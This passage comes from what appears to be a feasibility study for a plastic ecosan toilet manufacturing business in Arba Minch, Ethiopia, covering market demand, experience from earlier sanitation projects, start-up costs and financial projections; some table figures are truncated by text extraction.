the price is on the down-
106 82 turn and, if possible, find a reliable shipping company, where a long term contract price could be negotiated. Transportation Transportation of finished products makes up a very small part of variable costs, as the transportation costs within and in the vicinity of Arba Minch are low (refer to Section ) and the purchase of own truck makes it even less expensive, once the production volume is high enough for the margin to cover car maintenance, driver s salary, fuel costs and car s depreciation costs. In the calculations of transportation costs for Scenario 1, it was assumed that a third party would transport finished products over 100 km/month (1 st year), 250 km/month (2 nd year) and 500 km/month (3 rd year). In the following years, the car (owned by the company) would drive approximately 1,200 km/month (4 th year) and 2,600 km (5 th year) within the Gamo Gofa Zone. In the calculations for Scenario 2, it was assumed that the car would drive 300 km/month (1 st year), 400 km/month (2 nd year), 900 km/month (3 rd year), 1,500 km/month (4 th year) and 5,200 km/month (5 th year) within the Gamo Gofa Zone and to Awassa. Detailed parameters for the calculation of transportation costs are presented in Appendix B Examples of experience with ecological sanitation in Ethiopia In order to understand the selection of products to be manufactured, it is important to consider the experience of other sanitation projects implemented in Ethiopia. In this section, four examples of experience with ecosan in Ethiopia are discussed Resource-Oriented Sanitation for peri-urban areas in Africa Project description The Resource-Oriented Sanitation for peri-urban areas in Africa (ROSA) project ( ) promoted resource-oriented sanitation concepts as a way of achieving sustainable and ecologically sound sanitation. The ROSA implementation status of sanitation systems is presented in Table 3.19 (pers. correspondence with W. Ayele, ROSA Project Coordinator, Arba Minch, Ethiopia, ). Table 3.19: Implementation status of sanitation systems in Arba Minch, Ethiopia Toilet type Number of toilets installed Number of users Urine diverting dry toilet (UDDT) Arborloo 9 33 Fossa Alterna Total First toilet units were always built for demonstration purposes and their construction costs were covered by the ROSA project. Further units were built with a cost-sharing scheme, where about 75 % of the total construction costs was covered by the implementing households and the remaining 25 % was covered by the ROSA project. Successful toilet designs Within the ROSA project, among the different toilet types listed in Table 3.19, a Fossa Alterna was identified as the most favorite option among the inhabitants of
107 83 Arba Minch. It is mainly due to the fact that it resembles a traditional pit latrine and does not require any handling of urine and feces. Fossa Alternas have a permanent location and the contents of the toilet look harmless and do not smell. Fossa Alternas, on contrary to UDDTs, are not sensitive to inexperienced users, yet they still require some education and demonstration. A UDDT was identified as the second most favorite option, especially when it is possible to generate income from selling of excreta as fertilizer and soil conditioner. A UDDT has a permanent location and it can be installed inside a house. It also overcomes the problems of rocky and sandy soil and of areas susceptible to flooding as it can be built above ground. The third most favorite toilet among the inhabitants of Arba Minch was an Arborloo, mainly due to the fact that it requires more space, which is seldom available in urban areas. Nevertheless, it is greatly valued in areas where soil fertility is poor. It is also acceptable in cultures where excreta management is a taboo Catholic Relief Services Project description Catholic Relief Services (CRS) Ethiopia is an NGO that works with sanitation projects. The information that follows was gathered through personal communication with B. Abaire (Program Manager Water and Sanitation at CRS) and C. Tolessa (Water and Sanitation Project Officer at CRS) on in Addis Ababa, Ethiopia. CRS sanitation projects are being currently implemented in Amhara, Oromia, Somali, SNNP and Tigray Region. Successful toilet designs Initially, CRS promoted ventilated improved (VIP) and conventional pit latrines, which did not provide good results due to a relatively high cost of hardware. Communities could not see the impact of sanitation on health improvement. In response to little progress achieved through this approach, CRS started piloting the concept of ecosan in order to reduce costs, minimize labor requirements for construction, supply fertilizer from human manure for food security and prevent deforestation 34. In 2005, Arborloo and Fossa Alterna toilets were tried out by a group of farmers from food insecure communities while CRS project partners started crop trials with human urine (Simpson-Hébert and Abaire, 2009). The cost of an Arborloo and Fossa Alterna is mainly in the slab, in being about 5-12 USD/slab 35 (Simpson-Hébert and Abaire, 2009). Slabs are made of cement, sand and gravel. After the completion of pilot trials, by the end of 2005, 30 demonstration units of Arborloos had multiplied to nearly 3,500 units and crop trials were giving good results (Simpson-Hébert and Abaire, 2009). As a result, in total, 40,000 Arborloos were constructed between 2005 and 2008 (Simpson-Hébert and Abaire, 2009). Latest information (as of December 2011) quotes 72,000 Arboloos installed within the project (pers. correspondence, B. 34 Wooden logs are used for the construction of pit latrines. 35 Cement slabs are less expensive than plastic slabs, however, the transportation of plastic slabs is easier and cheaper due to their lower weight.
108 84 Abaire, Program Manager Water and Sanitation at CRS, ). Farmers started digging even more shallow pits in order to be able to plant more tree seedlings. Families started instructing children not to practice open defecation but to use the constructed Arborloo. Farmers understood that vegetable production improved as a result of using Arborloos. In the CRS project, Fossa Alterna trials did not prove to be as popular as Arborloo trials. This might be attributed to the fact that with a Fossa Alterna it takes about 1-2 years to get humus, which can then be applied to soil, so only about 30 Fossa Alternas were constructed (Simpson-Hébert and Abaire, 2009). CRS is currently planning to scale up Fossa Alterna implementation in the Tigray Region (pers. correspondence, B. Abaire, Program Manager Water and Sanitation at CRS, ) Society for Urban Development in East Africa Project description The Society for Urban Development in East Africa (SUDEA) is actually the main promoter of ecosan in Ethiopia (WSP, 2005). Since 1996, a number of pilot projects have been undertaken in partnerships with local NGOs in Addis Ababa, Jimma, Bahir Dar, Hamusit and Harar (WSP, 2005; Terrefe and Edstrom, 2007). Successful toilet designs One of the most successful toilet designs during the pilot projects in Ethiopia was a UDDT as a sitting option for household use and a squatting option for public toilets. The first assessment of the pilot project conducted by SUDEA in Ethiopia demonstrated that the system of urine diversion is affordable, safe and acceptable (Terrefe and Edstrom, 2007). Technical problems reported were mainly with regard to low-quality plastic products available in Ethiopia (e.g., toilet seats, pipes) (Terrefe and Edstrom, 1999). According to SUDEA, most families in Ethiopia chose a UDDT with a sitting option over a squatting one due to comfort, dignity, child-friendliness, pregnancy-friendliness and aged- and disabled-friendliness (Terrefe and Edstrom, 2007) Sanitation in peri-urban areas in Africa Project description The Sanitation in peri-urban areas in Africa (SPA) project aims at improving the sanitary situation in peri-urban areas of five cities in different countries in Africa, one of them being Arba Minch. The initiative of the SPA project was triggered by the ROSA project. The main goal of SPA is to provide good toilet facilities at the household level or in public places in peri-urban areas, together with a service to empty, collect, transport and dispose of excreta (Plan Nederland, WASTE, SNS REAAL Water Fund, 2007). In each city, a relevant utility will have to bear responsibility for dealing with the sanitation problem in peri-urban areas (Plan Nederland, WASTE, SNS REAAL Water Fund, 2007). They will receive and manage the investment funds and hire the small scale private sanitation sector (SSPSS) for toilet construction and service delivery. System users will pay a monthly fee for services to a respective utility. The amount
109 85 that users will pay will cover the operation and management costs of services, the costs borne by utilities and SSPSS and the investment and the interest rate. Omo Micro Finance Institution (OMFI), which is the main local financing partner of the SPA project, operates the credit disbursement and repayment from households at a 10 % interest rate (Sustainable sanitation service delivery Arba Minch Town, 2010). The municipality will receive funds from the SPA consortium to create a revolving sanitation financing fund, which is operated by OMFI in the form of micro-loans provided to various sanitation service providers at a 10 % interest rate (Sustainable sanitation service delivery Arba Minch Town, 2010; pers. correspondence, E. Olto, SPA project coordinator, Arba Minch, ). Toilet designs The project s idea is to construct both conventional toilets and toilets to be used under the ecosan principle (urine diverting dry toilets, Fossa Alternas, Arborloos). The SPA plan for household sanitation in Arba Minch assumes the following toilets to be constructed ( ): 1,000 UDDTs, 2,200 Fossa Alternas, 100 Arborloos, 1,200 pit latrines, 650 VIPs, 10 pour flush toilets with septic tanks, 15 flush toilets with septic tanks, and 5 community pour flush toilets with septic tanks (Sustainable sanitation service delivery Arba Minch Town, 2010). First toilet installations began in mid-2010 and, during the first year, 45 toilets have been constructed (pers. correspondence, E. Olto, SPA project coordinator, Arba Minch, ) Potential users of products Potential users of the manufactured products are individuals (households), institutions and businesses (when toilets will be installed at work places and as public toilets) and NGOs implementing sanitation projects with a focus on resource-oriented sanitation. The project concentrates on the Gamo Gofa Zone, where Arba Minch is located and other cities and rural areas in the SNNP Region. The number of households by toilet type is listed in Table In order to estimate the number of potential customers to help define the market potential, one can assume the number of households that do not have any toilet facilities. In Arba Minch alone, 16 % of the housing units (3,016 households 36 ) (see Table 3.20) in 2007 did not have any toilet facility (CSA, 2007). In the Gamo Gofa Zone, approximately 42 % of the housing units (142,534 households 37 ) in 2007 did not have sanitation facilities (CSA, 2007). Furthermore, in Awassa, the number of housing units without a toilet facility in 2007 was estimated to approximately 23 %. Thus, it corresponds to 14,035 households 38 (see Table 3.20) that definitely need to get access to sanitation facilities in Awassa. There is also a significant proportion of the population in Awassa that might be considered as unsatisfied with their current sanitation facilities and may be willing to switch to toilets to be used under the ecosan principle. In 2007, 45 % of the housing units in Awassa (corresponding to 27, Calculation based on the number of households per housing unit in Arba Minch being (CSA, 2007). 37 Calculation based on the number of households per housing unit in the Gamo Gofa Zone being (CSA, 2007). 38 Calculation based on the number of households per housing unit in Awassa being (CSA, 2007).
110 86 households) and 44 % of the housing units in Arba Minch (corresponding to 8,328 households) were using shared pit latrine facilities (see Table 3.20) (CSA, 2007). Additionally, households that have problems with currently available sanitation options (e.g., pit collapsing, lack of space for pit latrines, areas that are prone to flooding) may be willing to test new sanitation solutions. In Arba Minch, a survey performed in 2007 revealed that 64 % of the surveyed households had a pit latrine with a squatting wooden floor (AMU and ARB, 2007). Furthermore, communities in areas where new sanitation options had already been implemented, e.g., through the activities of the ROSA project, are aware of ecosan and its advantages and may be willing to adopt it. The number of households without toilet facilities and the number of households that might be considered as unsatisfied with their current facilities (using shared pit latrines) in the Gamo Gofa Zone amounts to over 177,500 households. When looking at the whole SNNP Region, the number of households without a toilet facility in 2007 was reported to be almost 1,492,300 and the number of households using a shared pit latrine to be almost 336,900 (see Table 3.20) (CSA, 2007). This clearly shows the need for improved sanitation facilities in the SNNP Region. Table 3.20: Number of households a by type of toilet facility in the SNNP Region, Arba Minch and Awassa (adapted from CSA, 2007) No. of households by type of toilet facility Geographical area Pit Pit No Flush Flush VIP VIP latrine latrine toilet private shared private shared private shared SNNP Region 1,492,273 15,994 7,136 26,728 15,651 1,205, ,888 1,829,161 Awassa City Administration Zone 14,035 1,169 1,225 2,127 4,189 10,078 27,310 41,345 Gamo Gofa Zone 142,534 1, ,422 1, ,066 34, ,519 Selected woredas in the Gamo Gofa Zone Arba Minch Woreda/Town 3, ,827 8,328 11,345 Bonke Woreda 9, ,070 1,228 10,656 Chencha Woreda 10, , ,876 Dita Woreda 12, , ,204 Geze Gofa Woreda 7, ,726 1,094 9,092 Kemba Woreda 15, ,357 1,539 17,157 Kucha Woreda 9, ,371 3,509 12,686 Melekoza Woreda 11, ,799 1,501 12,874 Mirab Abaya Woreda 3, ,335 2,774 6,641 Uba Debretsehay Woreda 10, ,580 1,356 11,813 a) CSA (2007) provides the number of housing units by type of toilet facility, which was translated into the number of households, based on the number of households per housing unit. Based on sales planning as presented in Table 3.16 for Scenario 1 and in Table 3.17 for Scenario 2 and the information presented above, the projected demand and the time it will take to satisfy it was estimated for both scenarios and it is presented in Table 3.21 and Table 3.22.
111 87 In Scenario 1, it was assumed that the company will sell toilet pans within the Gamo Gofa Zone due to the shorter distances from Arba Minch to selected woredas located in this zone (max. distance to Geze Gofa Woreda: 480 km, round trip from Arba Minch) than to Awassa (550 km, round trip from Arba Minch). In Scenario 2, due to higher production volume and projected sales (refer to Table 3.17), it was assumed that the company will sell its products not only within the Gamo Gofa Zone but also in Awassa. The selection of woredas from the Gamo Gofa Zone to be supplied with products was based on the projected demand (refer to Table 3.20) and their distance from Arba Minch, where the production plant would be located. Table 3.21: Projected demand coverage for Scenario 1 Geographical location Assumed demand Accumulated demand Year of demand coverage Distance from Arba Minch, round trip (km) Arba Minch Woreda 11,345 11,345 1 and 2 35 Mirab Abaya Woreda 6,641 17, Chencha Woreda 11,876 29, Kucha Woreda 12,686 42,548 3 and Bonke Woreda 10,656 53, Dita Woreda 13,204 66, Kemba woreda 17,157 83,566 4 and Melekoza Woreda 12,874 96, Geze Gofa Woreda 9, , Table 3.22: Projected demand coverage for Scenario 2 Geographical location Assumed demand Accumulated demand Year of demand coverage Distance from Arba Minch, round trip (km) Arba Minch Woreda 11,345 11, Mirab Abaya Woreda 6,641 17, Chencha Woreda 11,876 29, Kucha Woreda 12,686 42,548 2 and Bonke Woreda 10,656 53, Dita Woreda 13,204 66,409 3 and Kemba Woreda 17,157 83, Melekoza Woreda 12,874 96,440 4 and Geze Gofa Woreda 9, , Awassa City Administration Zone Present sources of supply for products 41, , The products related to the ecosan approach implemented within the framework of the ROSA project were either ordered from the companies described in Section or produced by the project employees themselves. UDDT slabs were ordered from AquaSan Manufacturing Ethiopia PLC, EthioFibre Glass Ethiopia in Addis Ababa and Tabor Ceramics in Awassa. Some UDDT slabs were made of reinforced concrete and were cast in the ROSA office compound in Arba Minch. Fossa Alterna and Arborloo slabs were also cast using concrete in the ROSA office compound in Arba Minch.
112 Substitute products Due to the economic development of the country, households might be willing to demand more luxurious products than the ones offered by the company. Fortunately, the rotational molding technology is flexible about changing the product portfolio. Merely new molds need to be ordered for the production to switch from one product to another. Molds do not take as much time to be produced and are not as expensive as with injection molding. Therefore, the company would be able to change or extend its product assortment, depending on the demand. Companies manufacturing plastic products, which have bigger production volumes, have an advantage of reaching economies of scale faster and, consequently, of reducing their prices. Therefore, it is important to create a good image of the company on the local and regional market and constantly expand its customer s base Critical factors determining potential market Critical factors that determine the potential market are directly connected with the aspects regarding the adoption of ecosan. The determining factors with this respect include privacy, convenience and status that the new toilets bring along. The cultural and social influence also plays a significant role. These factors have a great impact on the design of and the demand for sanitation facilities (Meier, 2008). Consequently, knowledge and understanding of the cultural background is essential for the promotion of ecosan. Culture may influence the acceptance and implementation of ecosan facilities. Religion can have a great impact on the exposure to human excrements and on people s sanitary behavior. Ethnicity refers to beliefs and norms which can influence people s sanitary behavior. Role allocation and responsibilities of men, women and children within the household or being scared of bad spirits if using the toilet at night are just a few possible examples (Meier, 2008). These factors are described in more detail in Section Investment requirements, project financing and returns This chapter deals with investment requirements and project financing of the business. First, start-up costs of the business are introduced. Then, the proposed financial structure and projected financial plan is presented, including an evaluation of two scenarios, a break-even analysis, financial statements for the first five years of company s operation and key financial indicators. In addition, critical factors determining profitability are analyzed and possibilities of cost decrease are described Start-up project costs This section considers the initial investment required for Scenario 1 and Scenario 2 in order to estimate the start-up capital Land In Ethiopia, the land belongs to the state and it can only be leased for a certain period of time. In many cities in Ethiopia, there are designated industrial zones for planned
113 89 industrial activities, where land can be leased. The lease holding price for industrial zones in Arba Minch is 0.7 ETB/m 2 per year (Ethiopian Investment Agency, 2008b) 39. Table 3.23 summarizes land lease payments for both scenarios with regard to land requirements as discussed in Section Table 3.23: Primary and annual lease payments for Scenario 1 and 2 Cost item Scenario 1 Scenario 2 Plot size (m 2 ) 7,200 9,000 Primary payment (ETB) 20,200 25,200 Annual lease payment (ETB/year) 4,800 6, Construction The construction of a simple building in Addis Ababa costs 1,500-2,500 ETB/m 2 (Ethiopian Investment Agency, 2008b). Due to the fact that this cost quote refers to Addis Ababa, the cost of 1,000 ETB/m 2 is assumed for Arba Minch, including the cost of labor, construction materials and foundation. Taking into account the size of the plant, warehouse and office building (discussed in Section 3.4.5), the resulting construction costs for Scenario 1 and Scenario 2 are presented in Table Table 3.24: Construction costs for Scenario 1 and 2 Cost item (ETB) Scenario 1 Scenario 2 Plant building 2,400,000 3,000,000 Warehouse building 2,400,000 3,000,000 Office building 70,000 70,000 Total 4,870,000 6,070, Installed equipment for production Table 3.25 presents equipment for Scenario 1 and Scenario 2 listed according to the year of operation in which it would be installed. Prices for the equipment were taken from Table 3.7 and they include shipping costs to Ethiopia. Installation costs were included for complex equipment, for which external help for installation and commissioning would be required. In Scenario 2, the cost of steel molds is higher due to the higher volume of production and, consequently, larger number of molds required. In Scenario 1, the first set of molds needs to be replaced after four years of operation, and in Scenario 2, after three years of operation. This estimation is based on the projected lifespan of 25,000 parts per mold. The difference in the cost of saw bands and trimmers is due to the different number of products manufactured per rotational molding cycle (refer to Table 3.11). New trimmers and saw bands are purchased every year due to wear. It was assumed that in-house grinding equipment (pulverizer) would be installed in the second year of operation in both scenarios. It was decided to purchase a pulverizer and transform LLDPE from granules to powder as soon as the volume of production and the related volume of raw materials increase. In the third year of operation, an extra arm for the rotational molding machine would be purchased in 39 A payment of 5 % out of the total lease payment needs to be made in advance, and then a lease payment needs to be made annually (Ethiopian Investment Agency, 2008b).
114 90 Scenario 1 in order to increase the volume of production. As a result, more steel molds would need to be purchased. Table 3.25: Type and cost of installed plant equipment for Scenario 1 and Scenario 2 Year Equipment (ETB) Scenario 1 Scenario 2 Rotational molding machine 2,677,500 4,100,000 High-intensity mixer 948, ,000 Generator 460, ,000 Burner 76,600 76,600 1 Router 462, ,000 Steel molds 51, ,500 Saw band + blades 800 2,000 Trimmers 1,600 4,200 Total 4,678,000 6,178,300 Pulverizer 254, ,500 2 Extra saw band + blades 800 2,000 Extra trimmers 1,600 4,200 Total 256, ,700 Extra arm for rotational molding machine 770,000 0 Extra steel molds 51, Extra saw band + blades 800 2,000 Extra trimmers 1,600 4,200 Total 823,900 6,200 Extra saw band blades 1,200 2,000 4 Extra trimmers 2,400 4,200 Steel molds 0 125,500 Total 3, ,700 Extra saw band + blades 1,200 3,200 5 Extra trimmers 2,400 6,400 Steel molds 51,500 0 Total 55,100 9, Other investment It was assumed that in Scenario 1 a car would be purchased in the fourth year of operation. The decision was based on the comparison of the costs of transportation of finished products with a third party and by using own means of transportation. The costs of the latter option include car s depreciation, insurance and maintenance costs, driver s salary and fuel costs. In the fourth year, operation and maintenance of own means of transportation is cheaper than third party services for the delivery of finished products to distribution centers and end customers. In Scenario 2, it was decided that a car would be purchased in the first year of operation. The cost of a car in both scenarios is 770,000 ETB (pers. communication with A. Woldemariam, Director of Investment Promotion and Public Relation at Ethiopian Investment Agency, Addis Ababa, Ethiopia, ). The purchase of a car is mirrored in insurance costs (refer to Figure 3.15 and Figure 3.16).
115 Lease primary payment Plant building Warehouse building Office building Molds Rotomolding machine Mixer Generator Burner Router Finishing equipment Car Furniture, computers, etc. Telephone, fax, Internet Business documents First supply 91 Other expenses include administrative investment for telephone, fax and Internet services, which in both scenarios are estimated to 2,500 ETB. Another investment is needed for business documents, including an investment permit, trade registration certificate, trade name registration and a business license, which sums up to 900 ETB for each scenario. An investment permit is valid for a year and it needs to be renewed annually, which costs 200 ETB Summary of start-up costs Start-up costs for Scenario 1 and Scenario 2 are presented in Figure 3.20, including an error indicator, which was set at 5 %. The costs were grouped according to the following categories: land, building, plant, office, administration and raw materials. Finishing equipment refers to band saws and blades as well as trimmers. The first supply of raw materials corresponds to the supply of LLDPE and dry pigment (for coloration) required for the first quarter of the annual production. Total start-up costs for Scenario 1 amount to almost 10 million ETB and for Scenario 2 to almost 14 million ETB. [1,000 Birr] Scenario 1 Scenario Land Building Plant Office Administration Raw material Figure 3.20: Start-up costs for Scenario 1 and Scenario Proposed financial structure of the business It was assumed that the company s legal structure would be sole proprietorship with one owner (no board or advisors required). A sole proprietor would own all assets and would be responsible for all debts. The loan would be requested from an Ethiopian bank. If not enough money was secured, organizations dealing with international funding programs for sanitation projects would be contacted.
116 Projected financial plan This section explains the financial plan of the business venture for Scenario 1 and Scenario Start-up costs Start-up costs are different for Scenario 1 and Scenario 2, as already indicated in Section Scenario 1 requires an initial investment of approximately 10.5 million ETB, whereas Scenario 2: approximately 14.5 million ETB 40. It was assumed that the loan would be obtained from a bank in Ethiopia with an interest rate of 10 % (Ethiopian Investment Agency, 2008b). Other sources of loan with a similar interest rate can also be considered, e.g., a microfinance institution or a foreign investor Evaluation of Scenario 1 and Scenario 2 In order to evaluate both scenarios, the following indicators were used: the net present value (NPV), the internal rate of return (IRR) and the payback period (PBP). The interest rate on loan of 10 % was used as the nominal discount rate (i). The PBP was calculated according to Equation 3.2. The NPV was calculated according to Equation 3.3 based on the cash flows as presented in Appendix B.7 and Appendix B.8. The real interest rate (r) was calculated according to Equation 3.4. The projected inflation rate 41 (p) of 8 % was assumed in Ethiopia (World Bank, 2011a). The nominal and real IRR was calculated using a built-in MS Excel function, which was described in Section The calculation of the real and nominal IRR was based on the cash flows as presented in Appendix B.7 and Appendix B.8. Table 3.26: Net Present Value, Internal Rate of Return and Payback Period for Scenario 1 and Scenario 2 Scenario 1 Scenario 2 Sales 60 % 80 % 100 % 60 % 80 % 100 % NPV (ETB) 7,754,312 20,859,692 34,314,293 10,158,490 26,596,259 43,240,990 real IRR 20% 42% 60% 21% 46% 67% nominal IRR 29% 53% 72% 31% 57% 81% PBP (years) The comparison of NPV, IRR and PBP for Scenario 1 and Scenario 2 presented in Table 3.26 shows results for three sales scenarios; assuming that about 60 % (worst case scenario), 80 % (normal case scenario) and 100 % (best case scenario) of the manufactured products would be sold (for the numbers on the volume of production refer to Table 3.11). 40 Additional 5 %, which represents the assumed error indicator, was added to the initial investment as presented in Section Source: the average annual inflation rate (consumer prices) for the years (World Bank, 2011a).
117 93 Worst case scenario In the event that only 60 % of the volume of products manufactured is sold, both Scenario 1 and Scenario 2 will have a rather low NPV. The worst case scenario NPV for both Scenario 1 and Scenario 2 is approximately 40 % of the normal case NPV. Also, about 3.6 and 3.3 years will be needed, respectively to recover the investment. In the worst case scenario, the real IRR is higher than the real interest rate (2 %) and the nominal IRR is higher than the discount rate (10 %) in both Scenario 1 and Scenario 2. Nevertheless, comparing the real and nominal IRR of the worst case and normal case scenarios, the difference is quite significant (over 20 % for both Scenario 1 and Scenario 2). Normal case and best case scenario In the normal case and best case scenario, Scenario 2 scores better in terms of the NPV. With 80 % and 100 % of the volume of products manufactured sold, the nominal IRR in both Scenario 1 and Scenario 2 is higher than the nominal discount rate. However, it is higher in Scenario 2 than in Scenario 1. In the normal case and best case scenario, Scenario 2 requires less time than Scenario 1 to recover the investment made. This is due to the higher volume of production (and resulting sales) projected for Scenario 2 in comparison to Scenario 1 (refer to Section 3.5.1). If not enough demand is in place to meet the estimated sales, both scenarios will not be as financially profitable as in the normal case and best case scenario. Nevertheless, Scenario 2 scores better in terms of the NPV, IRR and PBP in all cases Break-even analysis Break-even points for Scenario 1 and Scenario 2 are presented in Figure 3.21 and Figure 3.22, respectively. [1,000 Birr] Quantity (x) Revenues Total costs Fixed costs Figure 3.21: Break-even point for Scenario 1
118 94 [1,000 Birr] Quantity (x) Revenues Total costs Fixed costs Figure 3.22: Break-even point for Scenario 2 Break-even points were computed as described in Section All the required variables for performing the break-even analysis are presented in Table 3.27 and Table Break-even point for Scenario 1 was determined at 13,483 units of each product, which corresponds to 53,930 units of all four products. For Scenario 2, the break-even point was determined at 16,059 units of each product, which corresponds to 64,235 units of all four products. The difference in break-even points for both scenarios is due to the fact that Scenario 2 requires more expenditure, in particular on start-up investment. Table 3.27: Break-even analysis for Scenario 1 Product 1 Product 2 Product 3 Product 4 Total Units sold 26,016 26,016 26,016 26, ,064 Sales price/unit Variable cost/unit Sales (A) 15,609,600 4,682,880 10,406,400 23,414,400 54,113,280 Variable cost (B) 2,953,752 2,204,643 3,363,794 6,634,023 15,156,212 Contr. Margin (CM) (A-B) 12,655,848 2,478,237 7,042,606 16,780,377 38,957,068 Less: Fixed cost 20,189,150 Net income 18,767,918 Weighted average CM 374 Weighted average CM % 23.4% 4.6% 13.0% 31.0% 71.99% Break-even Point (units) 13,483 13,483 13,483 13,483 53,930 Break-even Sales (ETB) 8,089,535 2,426,860 5,393,023 12,134,302 28,043,721 Break-even Sales share 28.8% 8.7% 19.2% 43.3% 100%
119 95 Table 3.28: Break-even analysis for Scenario 2 Product 1 Product 2 Product 3 Product 4 Total Units/year 32,700 32,700 32,700 32, ,800 Sales price/unit Variable cost/unit Sales (A) 19,620,000 5,886,000 13,080,000 29,430,000 68,016,000 Variable cost (B) 3,861,355 2,919,784 4,376,743 8,487,156 19,645,037 Contr. Margin (CM) (A-B) 15,758,645 2,966,216 8,703,257 20,942,844 48,370,963 Less: Fixed cost 23,754,520 Net income 24,616,443 Weighted average CM 370 Weighted average CM % 23.2% 4.4% 12.8% 30.8% 71.1% Break-even Point (units) 16,059 16,059 16,059 16,059 64,235 Break-even Sales (ETB) 9,635,195 2,890,559 6,423,464 14,452,793 33,402,011 Break-even Sales share 28.8% 8.7% 19.2% 43.3% 100% The numbers presented above refer to five years of operation for each scenario. Variable cost per unit represents average variable cost per part 42. Fixed costs include primary investment (building costs, plant and office equipment, primary lease payment, administrative investment and investment documents, car and molds), investment required in the following years (tooling and plant equipment), interest payment on the loan, depreciation, land lease, non-production related personnel expenses, advertising, insurance, telecommunication and other costs. Sales, variable costs and contribution margin is higher in Scenario 2 due to the economies of scale that can be reached faster with higher production volumes. Break-even sales are higher in Scenario 2 but the share of break-even sales is the same in both scenarios due to the fact that the same sales mix was considered in both cases. For background information on break-even analysis refer to Section Projected Profit and Loss For background information on financial statements refer to Section Financial statements were computed for both Scenario 1 and Scenario 2 for the first five years of the company s operation. Table 3.29 and Table 3.30 shows the Profit and Loss (P&L) statement for Scenario 1 and Scenario 2, respectively. The volume of production as presented in Table 3.11 and the normal case scenario (80 % of the volume of products manufactured sold) was considered. 42 Variable costs per unit as presented in Table 3.13 and Table 3.14 are not the same as in Table 3.27 and Table 3.28 due to the fact that for the calculation of the break-even point, average variable costs per unit for all five years of operation were used.
120 96 Table 3.29: Profit and loss statement for Scenario 1 PROFIT & LOSS STATEMENT Normal case Year 1 Year 2 Year 3 Year 4 Year 5 Revenues 3,369,600 5,616,000 11,281,900 16,922,900 16,922,900 minus Cost of service sold Raw material and supplies 864,650 1,280,250 2,571,900 3,857,850 3,857,850 Received services 217, , , , ,900 Gross Profit 2,287,900 3,965,300 8,309,600 12,492,150 12,435,150 minus Personnel expenses Salaries and wages 115, , , , ,500 Social benefits 1,750 2,450 2,750 3,000 3,000 minus Depreciation 524, , , , ,600 minus Lease payment 25,000 4,800 4,800 4,800 4,800 minus Other operating expenses 85, , , , ,000 minus Interest rate 1,050,000 1,050,000 1,000, , ,000 Profit or loss from operation 485,950 2,064,800 6,413,200 10,538,350 10,781,250 minus Income tax 145, ,440 1,923,960 3,161,505 3,234,375 Profit/Loss after tax 340,165 1,445,360 4,489,240 7,376,845 7,546,875 Table 3.30: Profit and loss statement for Scenario 2 PROFIT & LOSS STATEMENT Normal case Year 1 Year 2 Year 3 Year 4 Year 5 Revenues 8,910,700 8,910,700 14,851,200 14,851,200 20,494,150 minus Cost of service sold Raw material and supplies 2,286,500 2,031,350 3,385,600 3,385,600 4,671,550 Received services 532, , , ,500 1,307,800 Gross Profit 6,091,350 6,319,550 10,606,500 10,582,100 14,514,800 minus Personnel expenses Salaries and wages 171, , , , ,800 Social benefits 2,550 2,550 3,000 3,000 3,150 minus Depreciation 743, , , , ,150 minus Lease payment 31,200 6,000 6,000 6,000 6,000 minus Other operating expenses 99, , , , ,900 minus Interest rate 1,450,000 1,450,000 1,200, , ,000 Profit or loss from operation 3,593,550 3,774,550 8,285,250 8,560,550 13,031,800 minus Income tax 1,078,065 1,132,365 2,485,575 2,568,165 3,909,540 Profit/Loss after tax 2,515,485 2,642,185 5,799,675 5,992,385 9,122,260 Revenues refer to the revenues of the normal case scenario (80 % of the volume of products manufactured sold). For the projected sales planning for Scenario 1 and Scenario 2 refer to Table 3.16 and Table 3.17, respectively 43. In Scenario 2, the revenues are higher than in Scenario 1 due to the higher volume of production. The financial statements above assume the volume of production as presented in Table 3.11 and the resulting expenditure on the raw materials. Received services refer to the costs of third party services, i.e. transportation of finished products to end customers and distribution centers, electricity and LPG. For the discussion on the personnel expenses and social benefits refer to Section and Section Small differences in the revenues as presented in Table 3.29 and Table 3.30 to the revenues as presented in Table 3.16 and Table 3.17 are due to the rounding of numbers.
121 97 Depreciation was calculated according to the straight-line method (refer to Equation 3.7). The assumed useful life for the calculation of depreciation is summarized in Appendix B.9. Refer to Table 3.23 for the details on the land lease payment. Other operating expenses refer to the costs of advertising, property insurance and administrative costs (telecommunication, investment documents, stationery, postage, banking costs, etc.). In the first year of operation, other operating expenses also include the administrative investment (telephone, fax, Internet connection, etc.). The interest rate of 10 % on the bank loan was included in the P&L statement. The corporate tax in Ethiopia is set at 30 % (Ethiopian Investment Agency, 2008b). Despite the possibility of some tax exemption in the first years of operation, it was assumed that the tax would be levied. The profits 44 are higher in Scenario 2, as expected, due to the higher volume of production and respective sales. It needs to be highlighted that far-reaching promotional campaigns for the adaptation of the ecosan approach need to be performed in order to generate enough demand, not only in Arba Minch but in the whole SNNP Region. Refer to Chapter 5 for more information on promotion of ecosan Projected Cash Flow Cash flow statements for Scenario 1 and Scenario 2 for the normal case are presented in Table 3.31 and Table 3.32, respectively. Profit/loss after tax was taken from the P&L statement for the respective year. Depreciation represents non-cash expenses so it had to be added in the cash flow statement. Changes in working capital refer to the ones which were not yet included in the P&L statement (e.g., difference in finished goods, raw material, accounts receivable and accounts payable). In Scenario 1, the first installment of the loan repayment was assumed to be made in the second year of operation and the loan would be paid back within the first 5 years of operation. In Scenario 2, the loan repayment would also start in the second year of operation and result in a full payback within the first 5 years of operation. In Scenario 1, the first installments of the loan repayment would be much smaller than in Scenario 2. Capital expenditures include the investment in buildings, manufacturing machinery (including molds) and office equipment. In Scenario 1, the project would require a loan of 10.5 million ETB, whereas in Scenario 2: 14.5 million ETB (refer to Section ), which was indicated as debt in the cash flow statements. 44 Profit after tax (presented in Table 3.29 and Table 3.30) takes into account the difference between revenues and operational costs (variable and fixed costs) and income tax. Net profit (presented in Table 3.27 and Table 3.28) does not take income tax into account.
